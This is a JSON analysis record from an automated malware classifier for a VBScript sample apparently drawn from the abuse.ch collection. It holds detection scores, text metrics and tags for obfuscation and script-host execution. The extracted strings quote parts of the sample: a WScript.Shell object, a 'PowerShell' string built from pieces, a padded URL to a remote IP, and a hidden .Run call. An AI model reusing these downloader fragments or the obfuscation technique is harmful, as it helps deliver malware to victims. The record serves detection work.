{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 0.9975002408027649,
        "class": 2,
        "threshold": 0.9975002408027649
      }
    ],
    "prob": 0.99750024,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.99750024,
        "class": 2
      },
      {
        "m": "az/vbs",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.99750024,
    "analyzed_at": "2026-05-31T15:49:27Z"
  },
  "path": "9834ac16937d9ff37624909fd25d2ec31122dd1fda8d91c1f32b63b2ed69fecb.vbs",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₃(AsCXe)H₂(Os₂Po₂)",
        "x": 72,
        "ff": {
          "m": {
            "file": {
              "size": 7732.0,
              "entropy": 1.7,
              "size_bytes": 7732.0
            },
            "text": {
              "digit_ratio": 0.05,
              "space_count": 29.0,
              "total_lines": 6.0,
              "char_entropy": 1.7,
              "unique_chars": 80.0,
              "lines_over_200": 1.0,
              "lines_over_500": 1.0,
              "avg_line_length": 1287.0,
              "lines_over_1000": 1.0,
              "max_line_length": 7481.0,
              "last_line_length": 26.0,
              "long_token_count": 2.0,
              "whitespace_ratio": 0.01,
              "most_common_ratio": 0.79,
              "line_length_stddev": 2770.17,
              "repeated_char_sequences": 562.0,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "most_common_char_codepoint": 72.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "Set LLLLLLLLLLLL = CreateObject(\"WScript.Shell\")"
            ],
            [
              50,
              "u8",
              "LLLL = \"OwerSheL\""
            ],
            [
              69,
              "u8",
              "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL = \"P\"+LLLL+\"L \""
            ],
            [
              119,
              "u8",
              "LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL = \"$SZXDCFVGBHNJSDFGH = 'http://52HHHHHHHHHHHHH231HHHHHHHHHHHHH98HHHHHHHHHHHHH236/bypa"
            ],
            [
              7602,
              "u8",
              "LLLLLLLLLLLL.Run(LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL+LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL+\"\"),0,True"
            ],
            [
              7706,
              "u8",
              "Set LLLLLLLLLLLL = Nothing"
            ]
          ],
          "v": {
            "file.stem": "9834ac16937d9ff37624909fd25d2ec31122dd1fda8d91c1f32b63b2ed69fecb",
            "file.basename": "9834ac16937d9ff37624909fd25d2ec31122dd1fda8d91c1f32b63b2ed69fecb.vbs"
          },
          "id": "vbs"
        },
        "id": 0,
        "sz": 7732,
        "ts": [
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.4000000059604645,
            "d": ".Run method call",
            "e": [
              ".Run("
            ],
            "i": "objectives/execution/interpreter/scripting/host::run-method",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "Instantiates WScript.Shell object",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/wsh/file::wscript-shell-object",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 6.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "WScript.Shell object reference",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "WScript.Shell object string",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/com/object::wscript-shell-literal",
            "l": 3
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "WSH creates shell object",
            "e": [
              "CreateObject(\"WScript.Shell\""
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-shell-create",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 7481.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1059.005",
            "c": 0.8500000238418579,
            "d": "WScript.Shell object creation",
            "e": [
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-shell-create",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.01"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8500000238418579,
            "d": "PowerShell or VBScript line bloat",
            "e": [
              "text.avg_line_length = 1287.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::script-host-line-bloat",
            "l": 4
          },
          {
            "c": 0.8799999952316284,
            "d": "Shell or CreateObject invocation",
            "e": [
              "CreateObject("
            ],
            "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call",
            "l": 3
          }
        ],
        "sha": "9834ac16937d9ff37624909fd25d2ec31122dd1fda8d91c1f32b63b2ed69fecb",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2021-09/9834ac16937d9ff37624909fd25d2ec31122dd1fda8d91c1f32b63b2ed69fecb.vbs",
        "type": "vbs"
      }
    ],
    "tv": "176d6"
  }
}